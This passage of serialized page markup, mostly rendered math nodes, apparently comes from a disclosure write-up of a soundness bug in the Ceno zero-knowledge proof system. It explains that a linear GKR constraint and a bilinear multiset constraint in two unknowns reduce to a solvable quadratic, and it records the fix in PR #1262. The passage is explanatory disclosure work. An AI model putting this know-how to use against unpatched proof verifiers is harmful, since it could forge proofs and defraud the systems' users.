tag":198,"props":120237,"children":120239},{"className":120238},[4822,27],[120240],{"type":21,"tag":198,"props":120241,"children":120243},{"className":120242},[4822],[120244],{"type":27,"value":119103},{"type":21,"tag":198,"props":120246,"children":120248},{"className":120247,"style":93429},[4822],[120249],{"type":27,"value":3891},{"type":21,"tag":198,"props":120251,"children":120253},{"className":120252},[4822,27],[120254],{"type":21,"tag":198,"props":120255,"children":120257},{"className":120256},[4822],[120258],{"type":27,"value":119122},{"type":21,"tag":198,"props":120260,"children":120262},{"className":120261},[22510],[120263],{"type":27,"value":2051},{"type":21,"tag":198,"props":120265,"children":120267},{"className":120266},[4822],[120268],{"type":27,"value":3482},{"type":21,"tag":198,"props":120270,"children":120272},{"className":120271},[22532],[120273],{"type":27,"value":2071},{"type":21,"tag":198,"props":120275,"children":120277},{"className":120276},[22510],[120278],{"type":27,"value":2051},{"type":21,"tag":198,"props":120280,"children":120282},{"className":120281},[4822],[120283],{"type":27,"value":3482},{"type":21,"tag":198,"props":120285,"children":120287},{"className":120286},[22532],[120288],{"type":27,"value":2071},{"type":27,"value":11801},{"type":21,"tag":194,"props":120291,"children":120293},{"className":120292},[4794,4795],[120294],{"type":21,"tag":198,"props":120295,"children":120297},{"className":120296},[4800],[120298],{"type":21,"tag":198,"props":120299,"children":120301},{"className":120300,"ariaHidden":4806},[4805],[120302,120380],{"type":21,"tag":198,"props":120303,"children":120305},{"className":120304},[4811],[120306,120310,120367,120371,120376],{"type":21,"tag":198,"props":120307,"children":120309},{"className":120308,"style":110399},[4816],[],{"type":21,"tag":198,"props":120311,"children":120313},{"className":120312},[4822],[120314,120319],{"type":21,"tag":198,"props":120315,"children":120317},{"className":120316},[4822,22381],[120318],{"type":27,"value":20070},{"type":21,"tag":198,"props":120320,"children":120322},{"className":120321},[4837],[120323],{"type":21,"tag":198,"props":120324,"children":120326},{"className":120325},[4842,22435],[120327,120356],{"type":21,"tag":198,"props":120328,"children":120330},{"className":120329},[4847],[120331,120351],{"type":21,"tag":198,"props":120332,"children":120334},{"className":120333,"style":93481},[4852],[120335],{"type":21,"tag":198,"props":120336,"children":120337},{"style":93485},[120338,120342],{"type":21,"tag":198,"props":120339,"children":120341},{"className":120340,"style":4862},[4861],[],{"type":21,"tag":198,"props":120343,"children":120345},{"className":120344},[4867,4868,4869,4870],[120346],{"type":21,"tag":198,"props":120347,"children":120349},{"className":120348},[4822,4870],[120350],{"type":27,"value":134},{"type":21,"tag":198,"props":120352,"children":120354},{"className":120353},[22538],[120355],{"type":27,"value":22541},{"type":21,"tag":198,"props":120357,"children":120359},{"className":120358},[4847],[120360],{"type":21,"tag":198,"props":120361,"children":120363},{"className":120362,"style":93512},[4852],[120364],{"type":21,"tag":198,"props":120365,"children":120366},{},[],{"type":21,"tag":198,"props":120368,"children":120370},{"className":120369,"style":4998},[4901],[],{"type":21,"tag":198,"props":120372,"children":120374},{"className":120373},[5003],[120375],{"type":27,"value":3174},{"type":21,"tag":198,"props":120377,"children":120379},{"className":120378,"style":4998},[4901],[],{"type":21,"tag":198,"props":120381,"children":120383},{"className":120382},[4811],[120384,120388,120429,120434,120439,120444,120449,120454],{"type":21,"tag":198,"props":120385,"children":120387},{"className":120386,"style":93371},[4816],[],{"type":21,"tag":198,"props":120389,"children":120391},{"className":120390},[4822],[120392,120401,120406,120415,120420],{"type":21,"tag":198,"props":120393,"children":120395},{"className":120394},[4822,27],[120396],{"type":21,"tag":198,"props":120397,"children":120399},{"className":120398},[4822],[120400],{"type":27,"value":94248},{"type":21,"tag":198,"props":120402,"children":120404},{"className":120403,"style":93429},[4822],[120405],{"type":27,"value":3891},{"type":21,"tag":198,"props":120407,"children":120409},{"className":120408},[4822,27],[120410],{"type":21,"tag":198,"props":120411,"children":120413},{"className":120412},[4822],[120414],{"type":27,"value":119103},{"type":21,"tag":198,"props":120416,"children":120418},{"className":120417,"style":93429},[4822],[120419],{"type":27,"value":3891},{"type":21,"tag":198,"props":120421,"children":120423},{"className":120422},[4822,27],[120424],{"type":21,"tag":198,"props":120425,"children":120427},{"className":120426},[4822],[120428],{"type":27,"value":119122},{"type":21,"tag":198,"props":120430,"children":120432},{"className":120431},[22510],[120433],{"type":27,"value":2051},{"type":21,"tag":198,"props":120435,"children":120437},{"className":120436},[4822],[120438],{"type":27,"value":3482},{"type":21,"tag":198,"props":120440,"children":120442},{"className":120441},[22532],[120443],{"type":27,"value":2071},{"type":21,"tag":198,"props":120445,"children":120447},{"className":120446},[22510],[120448],{"type":27,"value":2051},{"type":21,"tag":198,"props":120450,"children":120452},{"className":120451},[4822],[120453],{"type":27,"value":134},{"type":21,"tag":198,"props":120455,"children":120457},{"className":120456},[22532],[120458],{"type":27,"value":2071},{"type":27,"value":120460}," we get the following constraint:",{"type":21,"tag":30,"props":120462,"children":120463},{},[120464],{"type":21,"tag":194,"props":120465,"children":120467},{"className":120466},[4794,4795],[120468],{"type":21,"tag":198,"props":120469,"children":120471},{"className":120470},[4800],[120472],{"type":21,"tag":198,"props":120473,"children":120475},{"className":120474,"ariaHidden":4806},[4805],[120476,120555,120633,120674],{"type":21,"tag":198,"props":120477,"children":120479},{"className":120478},[4811],[120480,120485,120542,120546,120551],{"type":21,"tag":198,"props":120481,"children":120484},{"className":120482,"style":120483},[4816],"height:0.5945em;vertical-align:-0.15em;",[],{"type":21,"tag":198,"props":120486,"children":120488},{"className":120487},[4822],[120489,120494],{"type":21,"tag":198,"props":120490,"children":120492},{"className":120491},[4822,22381],[120493],{"type":27,"value":20070},{"type":21,"tag":198,"props":120495,"children":120497},{"className":120496},[4837],[120498],{"type":21,"tag":198,"props":120499,"children":120501},{"className":120500},[4842,22435],[120502,120531],{"type":21,"tag":198,"props":120503,"children":120505},{"className":120504},[4847],[120506,120526],{"type":21,"tag":198,"props":120507,"children":120509},{"className":120508,"style":93481},[4852],[120510],{"type":21,"tag":198,"props":120511,"children":120512},{"style":93485},[120513,120517],{"type":21,"tag":198,"props":120514,"children":120516},{"className":120515,"style":4862},[4861],[],{"type":21,"tag":198,"props":120518,"children":120520},{"className":120519},[4867,4868,4869,4870],[120521],{"type":21,"tag":198,"props":120522,"children":120524},{"className":120523},[4822,4870],[120525],{"type":27,"value":3482},{"type":21,"tag":198,"props":120527,"children":120529},{"className":120528},[22538],[120530],{"type":27,"value":22541},{"type":21,"tag":198,"props":120532,"children":120534},{"className":120533},[4847],[120535],{"type":21,"tag":198,"props":120536,"children":120538},{"className":120537,"style":93512},[4852],[120539],{"type":21,"tag":198,"props":120540,"children":120541},{},[],{"type":21,"tag":198,"props":120543,"children":120545},{"className":120544,"style":4902},[4901],[],{"type":21,"tag":198,"props":120547,"children":120549},{"className":120548},[4907],[120550],{"type":27,"value":111691},{"type":21,"tag":198,"props":120552,"children":120554},{"className":120553,"style":4902},[4901],[],{"type":21,"tag":198,"props":120556,"children":120558},{"className":120557},[4811],[120559,120563,120620,120624,120629],{"type":21,"tag":198,"props":120560,"children":120562},{"className":120561,"style":120483},[4816],[],{"type":21,"tag":198,"props":120564,"children":120566},{"className":120565},[4822],[120567,120572],{"type":21,"tag":198,"props":120568,"children":120570},{"className":120569},[4822,22381],[120571],{"type":27,"value":20070},{"type":21,"tag":198,"props":120573,"children":120575},{"className":120574},[4837],[120576],{"type":21,"tag":198,"props":120577,"children":120579},{"className":120578},[4842,22435],[120580,120609],{"type":21,"tag":198,"props":120581,"children":120583},{"className":120582},[4847],[120584,120604],{"type":21,"tag":198,"props":120585,"children":120587},{"className":120586,"style":93481},[4852],[120588],{"type":21,"tag":198,"props":120589,"children":120590},{"style":93485},[120591,120595],{"type":21,"tag":198,"props":120592,"children":120594},{"className":120593,"style":4862},[4861],[],{"type":21,"tag":198,"props":120596,"children":120598},{"className":120597},[4867,4868,4869,4870],[120599],{"type":21,"tag":198,"props":120600,"children":120602},{"className":120601},[4822,4870],[120603],{"type":27,"value":134},{"type":21,"tag":198,"props":120605,"children":120607},{"className":120606},[22538],[120608],{"type":27,"value":22541},{"type":21,"tag":198,"props":120610,"children":120612},{"className":120611},[4847],[120613],{"type":21,"tag":198,"props":120614,"children":120616},{"className":120615,"style":93512},[4852],[120617],{"type":21,"tag":198,"props":120618,"children":120619},{},[],{"type":21,"tag":198,"props":120621,"children":120623},{"className":120622,"style":4902},[4901],[],{"type":21,"tag":198,"props":120625,"children":120627},{"className":120626},[4907],[120628],{"type":27,"value":111691},{"type":21,"tag":198,"props":120630,"children":120632},{"className":120631,"style":4902},[4901],[],{"type":21,"tag":198,"props":120634,"children":120636},{"className":120635},[4811],[120637,120641,120646,120656,120661,120665,120670],{"type":21,"tag":198,"props":120638,"children":120640},{"className":120639,"style":4922},[4816],[],{"type":21,"tag":198,"props":120642,"children":120644},{"className":120643},[22510],[120645],{"type":27,"value":706},{"type":21,"tag":198,"props":120647,"children":120649},{"className":120648},[4822,27],[120650],{"type":21,"tag":198,"props":120651,"children":120653},{"className":120652},[4822],[120654],{"type":27,"value":120655},"rest of product",{"type":21,"tag":198,"props":120657,"children":120659},{"className":120658},[22532],[120660],{"type":27,"value":2109},{"type":21,"tag":198,"props":120662,"children":120664},{"className":120663,"style":4998},[4901],[],{"type":21,"tag":198,"props":120666,"children":120668},{"className":120667},[5003],[120669],{"type":27,"value":3174},{"type":21,"tag":198,"props":120671,"children":120673},{"className":120672,"style":4998},[4901],[],{"type":21,"tag":198,"props":120675,"children":120677},{"className":120676},[4811],[120678,120682],{"type":21,"tag":198,"props":120679,"children":120681},{"className":120680,"style":115449},[4816],[],{"type":21,"tag":198,"props":120683,"children":120685},{"className":120684},[4822,27],[120686],{"type":21,"tag":198,"props":120687,"children":120689},{"className":120688},[4822],[120690],{"type":27,"value":115460},{"type":21,"tag":30,"props":120692,"children":120693},{},[120694,120696,120849],{"type":27,"value":120695},"This is bilinear in ",{"type":21,"tag":194,"props":120697,"children":120699},{"className":120698},[4794,4795],[120700],{"type":21,"tag":198,"props":120701,"children":120703},{"className":120702},[4800],[120704],{"type":21,"tag":198,"props":120705,"children":120707},{"className":120706,"ariaHidden":4806},[4805],[120708],{"type":21,"tag":198,"props":120709,"children":120711},{"className":120710},[4811],[120712,120716,120721,120778,120783,120787,120844],{"type":21,"tag":198,"props":120713,"children":120715},{"className":120714,"style":4922},[4816],[],{"type":21,"tag":198,"props":120717,"children":120719},{"className":120718},[22510],[120720],{"type":27,"value":706},{"type":21,"tag":198,"props":120722,"children":120724},{"className":120723},[4822],[120725,120730],{"type":21,"tag":198,"props":120726,"children":120728},{"className":120727},[4822,22381],[120729],{"type":27,"value":20070},{"type":21,"tag":198,"props":120731,"children":120733},{"className":120732},[4837],[120734],{"type":21,"tag":198,"props":120735,"children":120737},{"className":120736},[4842,22435],[120738,120767],{"type":21,"tag":198,"props":120739,"children":120741},{"className":120740},[4847],[120742,120762],{"type":21,"tag":198,"props":120743,"children":120745},{"className":120744,"style":93481},[4852],[120746],{"type":21,"tag":198,"props":120747,"children":120748},{"style":93485},[120749,120753],{"type":21,"tag":198,"props":120750,"children":120752},{"className":120751,"style":4862},[4861],[],{"type":21,"tag":198,"props":120754,"children":120756},{"className":120755},[4867,4868,4869,4870],[120757],{"type":21,"tag":198,"props":120758,"children":120760},{"className":120759},[4822,4870],[120761],{"type":27,"value":3482},{"type":21,"tag":198,"props":120763,"children":120765},{"className":120764},[22538],[120766],{"type":27,"value":22541},{"type":21,"tag":198,"props":120768,"children":120770},{"className":120769},[4847],[120771],{"type":21,"tag":198,"props":120772,"children":120774},{"className":120773,"style":93512},[4852],[120775],{"type":21,"tag":198,"props":120776,"children":120777},{},[],{"type":21,"tag":198,"props":120779,"children":120781},{"className":120780},[4933],[120782],{"type":27,"value":2205},{"type":21,"tag":198,"props":120784,"children":120786},{"className":120785,"style":4939},[4901],[],{"type":21,"tag":198,"props":120788,"children":120790},{"className":120789},[4822],[120791,120796],{"type":21,"tag":198,"props":120792,"children":120794},{"className":120793},[4822,22381],[120795],{"type":27,"value":20070},{"type":21,"tag":198,"props":120797,"children":120799},{"className":120798},[4837],[120800],{"type":21,"tag":198,"props":120801,"children":120803},{"className":120802},[4842,22435],[120804,120833],{"type":21,"tag":198,"props":120805,"children":120807},{"className":120806},[4847],[120808,120828],{"type":21,"tag":198,"props":120809,"children":120811},{"className":120810,"style":93481},[4852],[120812],{"type":21,"tag":198,"props":120813,"children":120814},{"style":93485},[120815,120819],{"type":21,"tag":198,"props":120816,"children":120818},{"className":120817,"style":4862},[4861],[],{"type":21,"tag":198,"props":120820,"children":120822},{"className":120821},[4867,4868,4869,4870],[120823],{"type":21,"tag":198,"props":120824,"children":120826},{"className":120825},[4822,4870],[120827],{"type":27,"value":134},{"type":21,"tag":198,"props":120829,"children":120831},{"className":120830},[22538],[120832],{"type":27,"value":22541},{"type":21,"tag":198,"props":120834,"children":120836},{"className":120835},[4847],[120837],{"type":21,"tag":198,"props":120838,"children":120840},{"className":120839,"style":93512},[4852],[120841],{"type":21,"tag":198,"props":120842,"children":120843},{},[],{"type":21,"tag":198,"props":120845,"children":120847},{"className":120846},[22532],[120848],{"type":27,"value":2109},{"type":27,"value":658},{"type":21,"tag":30,"props":120851,"children":120852},{},[120853,120855,121008],{"type":27,"value":120854},"We have two unknowns ",{"type":21,"tag":194,"props":120856,"children":120858},{"className":120857},[4794,4795],[120859],{"type":21,"tag":198,"props":120860,"children":120862},{"className":120861},[4800],[120863],{"type":21,"tag":198,"props":120864,"children":120866},{"className":120865,"ariaHidden":4806},[4805],[120867],{"type":21,"tag":198,"props":120868,"children":120870},{"className":120869},[4811],[120871,120875,120880,120937,120942,120946,121003],{"type":21,"tag":198,"props":120872,"children":120874},{"className":120873,"style":4922},[4816],[],{"type":21,"tag":198,"props":120876,"children":120878},{"className":120877},[22510],[120879],{"type":27,"value":706},{"type":21,"tag":198,"props":120881,"children":120883},{"className":120882},[4822],[120884,120889],{"type":21,"tag":198,"props":120885,"children":120887},{"className":120886},[4822,22381],[120888],{"type":27,"value":20070},{"type":21,"tag":198,"props":120890,"children":120892},{"className":120891},[4837],[120893],{"type":21,"tag":198,"props":120894,"children":120896},{"className":120895},[4842,22435],[120897,120926],{"type":21,"tag":198,"props":120898,"children":120900},{"className":120899},[4847],[120901,120921],{"type":21,"tag":198,"props":120902,"children":120904},{"className":120903,"style":93481},[4852],[120905],{"type":21,"tag":198,"props":120906,"children":120907},{"style":93485},[120908,120912],{"type":21,"tag":198,"props":120909,"children":120911},{"className":120910,"style":4862},[4861],[],{"type":21,"tag":198,"props":120913,"children":120915},{"className":120914},[4867,4868,4869,4870],[120916],{"type":21,"tag":198,"props":120917,"children":120919},{"className":120918},[4822,4870],[120920],{"type":27,"value":3482},{"type":21,"tag":198,"props":120922,"children":120924},{"className":120923},[22538],[120925],{"type":27,"value":22541},{"type":21,"tag":198,"props":120927,"children":120929},{"className":120928},[4847],[120930],{"type":21,"tag":198,"props":120931,"children":120933},{"className":120932,"style":93512},[4852],[120934],{"type":21,"tag":198,"props":120935,"children":120936},{},[],{"type":21,"tag":198,"props":120938,"children":120940},{"className":120939},[4933],[120941],{"type":27,"value":2205},{"type":21,"tag":198,"props":120943,"children":120945},{"className":120944,"style":4939},[4901],[],{"type":21,"tag":198,"props":120947,"children":120949},{"className":120948},[4822],[120950,120955],{"type":21,"tag":198,"props":120951,"children":120953},{"className":120952},[4822,22381],[120954],{"type":27,"value":20070},{"type":21,"tag":198,"props":120956,"children":120958},{"className":120957},[4837],[120959],{"type":21,"tag":198,"props":120960,"children":120962},{"className":120961},[4842,22435],[120963,120992],{"type":21,"tag":198,"props":120964,"children":120966},{"className":120965},[4847],[120967,120987],{"type":21,"tag":198,"props":120968,"children":120970},{"className":120969,"style":93481},[4852],[120971],{"type":21,"tag":198,"props":120972,"children":120973},{"style":93485},[120974,120978],{"type":21,"tag":198,"props":120975,"children":120977},{"className":120976,"style":4862},[4861],[],{"type":21,"tag":198,"props":120979,"children":120981},{"className":120980},[4867,4868,4869,4870],[120982],{"type":21,"tag":198,"props":120983,"children":120985},{"className":120984},[4822,4870],[120986],{"type":27,"value":134},{"type":21,"tag":198,"props":120988,"children":120990},{"className":120989},[22538],[120991],{"type":27,"value":22541},{"type":21,"tag":198,"props":120993,"children":120995},{"className":120994},[4847],[120996],{"type":21,"tag":198,"props":120997,"children":120999},{"className":120998,"style":93512},[4852],[121000],{"type":21,"tag":198,"props":121001,"children":121002},{},[],{"type":21,"tag":198,"props":121004,"children":121006},{"className":121005},[22532],[121007],{"type":27,"value":2109},{"type":27,"value":121009}," and two equations, one linear and one bilinear:",{"type":21,"tag":71,"props":121011,"children":121012},{},[121013,121340],{"type":21,"tag":75,"props":121014,"children":121015},{},[121016,121018],{"type":27,"value":121017},"Linear (from GKR): ",{"type":21,"tag":194,"props":121019,"children":121021},{"className":121020},[4794,4795],[121022],{"type":21,"tag":198,"props":121023,"children":121025},{"className":121024},[4800],[121026],{"type":21,"tag":198,"props":121027,"children":121029},{"className":121028,"ariaHidden":4806},[4805],[121030,121166,121301,121327],{"type":21,"tag":198,"props":121031,"children":121033},{"className":121032},[4811],[121034,121039,121096,121153,121157,121162],{"type":21,"tag":198,"props":121035,"children":121038},{"className":121036,"style":121037},[4816],"height:0.7333em;vertical-align:-0.15em;",[],{"type":21,"tag":198,"props":121040,"children":121042},{"className":121041},[4822],[121043,121048],{"type":21,"tag":198,"props":121044,"children":121046},{"className":121045},[4822,22381],[121047],{"type":27,"value":34},{"type":21,"tag":198,"props":121049,"children":121051},{"className":121050},[4837],[121052],{"type":21,"tag":198,"props":121053,"children":121055},{"className":121054},[4842,22435],[121056,121085],{"type":21,"tag":198,"props":121057,"children":121059},{"className":121058},[4847],[121060,121080],{"type":21,"tag":198,"props":121061,"children":121063},{"className":121062,"style":93481},[4852],[121064],{"type":21,"tag":198,"props":121065,"children":121066},{"style":93485},[121067,121071],{"type":21,"tag":198,"props":121068,"children":121070},{"className":121069,"style":4862},[4861],[],{"type":21,"tag":198,"props":121072,"children":121074},{"className":121073},[4867,4868,4869,4870],[121075],{"type":21,"tag":198,"props":121076,"children":121078},{"className":121077},[4822,4870],[121079],{"type":27,"value":3482},{"type":21,"tag":198,"props":121081,"children":121083},{"className":121082},[22538],[121084],{"type":27,"value":22541},{"type":21,"tag":198,"props":121086,"children":121088},{"className":121087},[4847],[121089],{"type":21,"tag":198,"props":121090,"children":121092},{"className":121091,"style":93512},[4852],[121093],{"type":21,"tag":198,"props":121094,"children":121095},{},[],{"type":21,"tag":198,"props":121097,"children":121099},{"className":121098},[4822],[121100,121105],{"type":21,"tag":198,"props":121101,"children":121103},{"className":121102},[4822,22381],[121104],{"type":27,"value":20070},{"type":21,"tag":198,"props":121106,"children":121108},{"className":121107},[4837],[121109],{"type":21,"tag":198,"props":121110,"children":121112},{"className":121111},[4842,22435],[121113,121142],{"type":21,"tag":198,"props":121114,"children":121116},{"className":121115},[4847],[121117,121137],{"type":21,"tag":198,"props":121118,"children":121120},{"className":121119,"style":93481},[4852],[121121],{"type":21,"tag":198,"props":121122,"children":121123},{"style":93485},[121124,121128],{"type":21,"tag":198,"props":121125,"children":121127},{"className":121126,"style":4862},[4861],[],{"type":21,"tag":198,"props":121129,"children":121131},{"className":121130},[4867,4868,4869,4870],[121132],{"type":21,"tag":198,"props":121133,"children":121135},{"className":121134},[4822,4870],[121136],{"type":27,"value":3482},{"type":21,"tag":198,"props":121138,"children":121140},{"className":121139},[22538],[121141],{"type":27,"value":22541},{"type":21,"tag":198,"props":121143,"children":121145},{"className":121144},[4847],[121146],{"type":21,"tag":198,"props":121147,"children":121149},{"className":121148,"style":93512},[4852],[121150],{"type":21,"tag":198,"props":121151,"children":121152},{},[],{"type":21,"tag":198,"props":121154,"children":121156},{"className":121155,"style":4902},[4901],[],{"type":21,"tag":198,"props":121158,"children":121160},{"className":121159},[4907],[121161],{"type":27,"value":5193},{"type":21,"tag":198,"props":121163,"children":121165},{"className":121164,"style":4902},[4901],[],{"type":21,"tag":198,"props":121167,"children":121169},{"className":121168},[4811],[121170,121174,121231,121288,121292,121297],{"type":21,"tag":198,"props":121171,"children":121173},{"className":121172,"style":121037},[4816],[],{"type":21,"tag":198,"props":121175,"children":121177},{"className":121176},[4822],[121178,121183],{"type":21,"tag":198,"props":121179,"children":121181},{"className":121180},[4822,22381],[121182],{"type":27,"value":34},{"type":21,"tag":198,"props":121184,"children":121186},{"className":121185},[4837],[121187],{"type":21,"tag":198,"props":121188,"children":121190},{"className":121189},[4842,22435],[121191,121220],{"type":21,"tag":198,"props":121192,"children":121194},{"className":121193},[4847],[121195,121215],{"type":21,"tag":198,"props":121196,"children":121198},{"className":121197,"style":93481},[4852],[121199],{"type":21,"tag":198,"props":121200,"children":121201},{"style":93485},[121202,121206],{"type":21,"tag":198,"props":121203,"children":121205},{"className":121204,"style":4862},[4861],[],{"type":21,"tag":198,"props":121207,"children":121209},{"className":121208},[4867,4868,4869,4870],[121210],{"type":21,"tag":198,"props":121211,"children":121213},{"className":121212},[4822,4870],[121214],{"type":27,"value":134},{"type":21,"tag":198,"props":121216,"children":121218},{"className":121217},[22538],[121219],{"type":27,"value":22541},{"type":21,"tag":198,"props":121221,"children":121223},{"className":121222},[4847],[121224],{"type":21,"tag":198,"props":121225,"children":121227},{"className":121226,"style":93512},[4852],[121228],{"type":21,"tag":198,"props":121229,"children":121230},{},[],{"type":21,"tag":198,"props":121232,"children":121234},{"className":121233},[4822],[121235,121240],{"type":21,"tag":198,"props":121236,"children":121238},{"className":121237},[4822,22381],[121239],{"type":27,"value":20070},{"type":21,"tag":198,"props":121241,"children":121243},{"className":121242},[4837],[121244],{"type":21,"tag":198,"props":121245,"children":121247},{"className":121246},[4842,22435],[121248,121277],{"type":21,"tag":198,"props":121249,"children":121251},{"className":121250},[4847],[121252,121272],{"type":21,"tag":198,"props":121253,"children":121255},{"className":121254,"style":93481},[4852],[121256],{"type":21,"tag":198,"props":121257,"children":121258},{"style":93485},[121259,121263],{"type":21,"tag":198,"props":121260,"children":121262},{"className":121261,"style":4862},[4861],[],{"type":21,"tag":198,"props":121264,"children":121266},{"className":121265},[4867,4868,4869,4870],[121267],{"type":21,"tag":198,"props":121268,"children":121270},{"className":121269},[4822,4870],[121271],{"type":27,"value":134},{"type":21,"tag":198,"props":121273,"children":121275},{"className":121274},[22538],[121276],{"type":27,"value":22541},{"type":21,"tag":198,"props":121278,"children":121280},{"className":121279},[4847],[121281],{"type":21,"tag":198,"props":121282,"children":121284},{"className":121283,"style":93512},[4852],[121285],{"type":21,"tag":198,"props":121286,"children":121287},{},[],{"type":21,"tag":198,"props":121289,"children":121291},{"className":121290,"style":4902},[4901],[],{"type":21,"tag":198,"props":121293,"children":121295},{"className":121294},[4907],[121296],{"type":27,"value":5193},{"type":21,"tag":198,"props":121298,"children":121300},{"className":121299,"style":4902},[4901],[],{"type":21,"tag":198,"props":121302,"children":121304},{"className":121303},[4811],[121305,121309,121314,121318,121323],{"type":21,"tag":198,"props":121306,"children":121308},{"className":121307,"style":111270},[4816],[],{"type":21,"tag":198,"props":121310,"children":121312},{"className":121311},[4822,22381],[121313],{"type":27,"value":3954},{"type":21,"tag":198,"props":121315,"children":121317},{"className":121316,"style":4998},[4901],[],{"type":21,"tag":198,"props":121319,"children":121321},{"className":121320},[5003],[121322],{"type":27,"value":3174},{"type":21,"tag":198,"props":121324,"children":121326},{"className":121325,"style":4998},[4901],[],{"type":21,"tag":198,"props":121328,"children":121330},{"className":121329},[4811],[121331,121335],{"type":21,"tag":198,"props":121332,"children":121334},{"className":121333,"style":94460},[4816],[],{"type":21,"tag":198,"props":121336,"children":121338},{"className":121337},[4822],[121339],{"type":27,"value":3482},{"type":21,"tag":75,"props":121341,"children":121342},{},[121343,121345],{"type":27,"value":121344},"Bilinear (from multiset): ",{"type":21,"tag":194,"props":121346,"children":121348},{"className":121347},[4794,4795],[121349],{"type":21,"tag":198,"props":121350,"children":121352},{"className":121351},[4800],[121353],{"type":21,"tag":198,"props":121354,"children":121356},{"className":121355,"ariaHidden":4806},[4805],[121357,121383,121461,121539,121565],{"type":21,"tag":198,"props":121358,"children":121360},{"className":121359},[4811],[121361,121365,121370,121374,121379],{"type":21,"tag":198,"props":121362,"children":121364},{"className":121363,"style":93344},[4816],[],{"type":21,"tag":198,"props":121366,"children":121368},{"className":121367,"style":94858},[4822,22381],[121369],{"type":27,"value":89066},{"type":21,"tag":198,"props":121371,"children":121373},{"className":121372,"style":4902},[4901],[],{"type":21,"tag":198,"props":121375,"children":121377},{"className":121376},[4907],[121378],{"type":27,"value":111691},{"type":21,"tag":198,"props":121380,"children":121382},{"className":121381,"style":4902},[4901],[],{"type":21,"tag":198,"props":121384,"children":121386},{"className":121385},[4811],[121387,121391,121448,121452,121457],{"type":21,"tag":198,"props":121388,"children":121390},{"className":121389,"style":120483},[4816],[],{"type":21,"tag":198,"props":121392,"children":121394},{"className":121393},[4822],[121395,121400],{"type":21,"tag":198,"props":121396,"children":121398},{"className":121397},[4822,22381],[121399],{"type":27,"value":20070},{"type":21,"tag":198,"props":121401,"children":121403},{"className":121402},[4837],[121404],{"type":21,"tag":198,"props":121405,"children":121407},{"className":121406},[4842,22435],[121408,121437],{"type":21,"tag":198,"props":121409,"children":121411},{"className":121410},[4847],[121412,121432],{"type":21,"tag":198,"props":121413,"children":121415},{"className":121414,"style":93481},[4852],[121416],{"type":21,"tag":198,"props":121417,"children":121418},{"style":93485},[121419,121423],{"type":21,"tag":198,"props":121420,"children":121422},{"className":121421,"style":4862},[4861],[],{"type":21,"tag":198,"props":121424,"children":121426},{"className":121425},[4867,4868,4869,4870],[121427],{"type":21,"tag":198,"props":121428,"children":121430},{"className":121429},[4822,4870],[121431],{"type":27,"value":3482},{"type":21,"tag":198,"props":121433,"children":121435},{"className":121434},[22538],[121436],{"type":27,"value":22541},{"type":21,"tag":198,"props":121438,"children":121440},{"className":121439},[4847],[121441],{"type":21,"tag":198,"props":121442,"children":121444},{"className":121443,"style":93512},[4852],[121445],{"type":21,"tag":198,"props":121446,"children":121447},{},[],{"type":21,"tag":198,"props":121449,"children":121451},{"className":121450,"style":4902},[4901],[],{"type":21,"tag":198,"props":121453,"children":121455},{"className":121454},[4907],[121456],{"type":27,"value":111691},{"type":21,"tag":198,"props":121458,"children":121460},{"className":121459,"style":4902},[4901],[],{"type":21,"tag":198,"props":121462,"children":121464},{"className":121463},[4811],[121465,121469,121526,121530,121535],{"type":21,"tag":198,"props":121466,"children":121468},{"className":121467,"style":121037},[4816],[],{"type":21,"tag":198,"props":121470,"children":121472},{"className":121471},[4822],[121473,121478],{"type":21,"tag":198,"props":121474,"children":121476},{"className":121475},[4822,22381],[121477],{"type":27,"value":20070},{"type":21,"tag":198,"props":121479,"children":121481},{"className":121480},[4837],[121482],{"type":21,"tag":198,"props":121483,"children":121485},{"className":121484},[4842,22435],[121486,121515],{"type":21,"tag":198,"props":121487,"children":121489},{"className":121488},[4847],[121490,121510],{"type":21,"tag":198,"props":121491,"children":121493},{"className":121492,"style":93481},[4852],[121494],{"type":21,"tag":198,"props":121495,"children":121496},{"style":93485},[121497,121501],{"type":21,"tag":198,"props":121498,"children":121500},{"className":121499,"style":4862},[4861],[],{"type":21,"tag":198,"props":121502,"children":121504},{"className":121503},[4867,4868,4869,4870],[121505],{"type":21,"tag":198,"props":121506,"children":121508},{"className":121507},[4822,4870],[121509],{"type":27,"value":134},{"type":21,"tag":198,"props":121511,"children":121513},{"className":121512},[22538],[121514],{"type":27,"value":22541},{"type":21,"tag":198,"props":121516,"children":121518},{"className":121517},[4847],[121519],{"type":21,"tag":198,"props":121520,"children":121522},{"className":121521,"style":93512},[4852],[121523],{"type":21,"tag":198,"props":121524,"children":121525},{},[],{"type":21,"tag":198,"props":121527,"children":121529},{"className":121528,"style":4902},[4901],[],{"type":21,"tag":198,"props":121531,"children":121533},{"className":121532},[4907],[121534],{"type":27,"value":5193},{"type":21,"tag":198,"props":121536,"children":121538},{"className":121537,"style":4902},[4901],[],{"type":21,"tag":198,"props":121540,"children":121542},{"className":121541},[4811],[121543,121547,121552,121556,121561],{"type":21,"tag":198,"props":121544,"children":121546},{"className":121545,"style":93344},[4816],[],{"type":21,"tag":198,"props":121548,"children":121550},{"className":121549},[4822,22381],[121551],{"type":27,"value":70944},{"type":21,"tag":198,"props":121553,"children":121555},{"className":121554,"style":4998},[4901],[],{"type":21,"tag":198,"props":121557,"children":121559},{"className":121558},[5003],[121560],{"type":27,"value":3174},{"type":21,"tag":198,"props":121562,"children":121564},{"className":121563,"style":4998},[4901],[],{"type":21,"tag":198,"props":121566,"children":121568},{"className":121567},[4811],[121569,121573],{"type":21,"tag":198,"props":121570,"children":121572},{"className":121571,"style":94460},[4816],[],{"type":21,"tag":198,"props":121574,"children":121576},{"className":121575},[4822],[121577],{"type":27,"value":3482},{"type":21,"tag":30,"props":121579,"children":121580},{},[121581],{"type":27,"value":121582},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":21,"tag":30,"props":121584,"children":121585},{},[121586,121590,121592,121599,121601,121608],{"type":21,"tag":6137,"props":121587,"children":121588},{},[121589],{"type":27,"value":117139},{"type":27,"value":121591}," Fixed on March 5, 2026 via ",{"type":21,"tag":34,"props":121593,"children":121596},{"href":121594,"rel":121595},"https://github.com/scroll-tech/ceno/pull/1262",[38],[121597],{"type":27,"value":121598},"PR #1262",{"type":27,"value":121600}," (original report: 